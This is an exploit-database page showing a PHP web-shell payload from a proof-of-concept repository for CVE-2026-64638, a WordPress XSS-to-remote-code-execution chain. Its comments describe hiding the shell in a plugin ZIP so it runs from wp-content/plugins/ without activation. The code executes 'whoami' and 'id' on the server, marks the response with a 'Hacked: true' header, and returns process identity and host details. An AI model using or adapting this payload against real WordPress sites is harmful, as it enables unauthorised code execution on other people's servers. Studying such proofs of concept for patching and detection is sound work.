Exploit databaseDownload repository ZIP
GH-9a7969473a9601b88a718f9495bc1986
686f6c61/poc-wp-xss2shell-cve-2026-64638
Sources for CVE-2026-64638
20 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
686f6c61/poc-wp-xss2shell-cve-2026-64638Revision 712159106657
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
payload/shell.php
PHP · 1,341 bytes<?php
/* ============================================================================
* shell.php — Webshell mínimo para la PoC de XSS2Shell (CVE-2026-64638)
* ----------------------------------------------------------------------------
* Se coloca dentro del ZIP del plugin en `payload/payload/shell.php` y, una
* vez extraído por WordPress en wp-content/plugins/payload/, es accesible
* directamente por URL sin necesidad de activar el plugin. El servidor web
* ejecuta el PHP con los privilegios del proceso web (www-data).
*
* Esta shell es deliberadamente mínima: solo demuestra la ejecución remota
* de código. No incluye funcionalidad de persistencia ni de backdoor.
* ==========================================================================*/
// Cabecera de evidencia para verificación automática.
header('Hacked: true');
header('Content-Type: application/json; charset=utf-8');
// Ejecuta whoami a través del operador retroactivo de shell. system() envía
// la salida directamente al flujo estándar.
$user = @system('whoami 2>&1');
// Identidad adicional del proceso.
$uid = @system('id 2>&1');
$host = @gethostname();
echo json_encode([
'rce' => true,
'user' => trim((string)$user),
'id' => trim((string)$uid),
'host' => $host,
'php' => PHP_VERSION,
'time' => date('c'),
]);